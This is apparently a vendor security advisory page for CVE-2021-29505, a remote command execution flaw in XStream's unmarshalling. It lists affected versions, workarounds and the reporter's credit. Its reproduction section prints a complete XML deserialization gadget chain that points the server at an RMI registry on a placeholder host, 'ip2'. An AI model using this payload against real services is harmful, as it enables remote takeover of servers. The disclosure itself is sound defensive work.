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  <head>
    <title>CVE-2021-29505</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p>
	
    <h2 id="affected_versions">Affected Versions</h2>
    
	<p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is
	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
	framework</a> with a whitelist limited to the minimal required types.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in execution of a local command on the server.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
  &lt;unserializable-parents/&gt;
  &lt;java.util.PriorityQueue&gt;
    &lt;default&gt;
      &lt;size&gt;2&lt;/size&gt;
    &lt;/default&gt;
    &lt;int&gt;3&lt;/int&gt;
    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
      &lt;type&gt;12345&lt;/type&gt;
      &lt;value class='com.sun.org.apache.xpath.internal.objects.XString'&gt;
        &lt;m__obj class='string'&gt;com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &lt;none&gt;&lt;/m__obj&gt;
      &lt;/value&gt;
    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
      &lt;type&gt;12345&lt;/type&gt;
      &lt;value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'&gt;
        &lt;message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'&gt;
          &lt;parsedMessage&gt;true&lt;/parsedMessage&gt;
          &lt;soapVersion&gt;SOAP_11&lt;/soapVersion&gt;
          &lt;bodyParts/&gt;
          &lt;sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
            &lt;attachmentsInitialized&gt;false&lt;/attachmentsInitialized&gt;
            &lt;multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
              &lt;soapPart/&gt;
              &lt;mm&gt;
                &lt;it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'&gt;
                  &lt;aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'&gt;
                    &lt;candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'&gt;
                      &lt;names&gt;
                        &lt;string&gt;aa&lt;/string&gt;
                        &lt;string&gt;aa&lt;/string&gt;
                      &lt;/names&gt;
                      &lt;ctx&gt;
                        &lt;environment/&gt;
                        &lt;registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'&gt;
                          &lt;java.rmi.server.RemoteObject&gt;
                            &lt;string&gt;UnicastRef&lt;/string&gt;
                            &lt;string&gt;ip2&lt;/string&gt;
                            &lt;int&gt;1099&lt;/int&gt;
                            &lt;long&gt;0&lt;/long&gt;
                            &lt;int&gt;0&lt;/int&gt;
                            &lt;short&gt;0&lt;/short&gt;
                            &lt;boolean&gt;false&lt;/boolean&gt;
                          &lt;/java.rmi.server.RemoteObject&gt;
                        &lt;/registry&gt;
                        &lt;host&gt;ip2&lt;/host&gt;
                        &lt;port&gt;1099&lt;/port&gt;
                      &lt;/ctx&gt;
                    &lt;/candidates&gt;
                  &lt;/aliases&gt;
                &lt;/it&gt;
              &lt;/mm&gt;
            &lt;/multiPart&gt;
          &lt;/sm&gt;
        &lt;/message&gt;
      &lt;/value&gt;
    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
  &lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by
	manipulating the processed input stream.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p>
    
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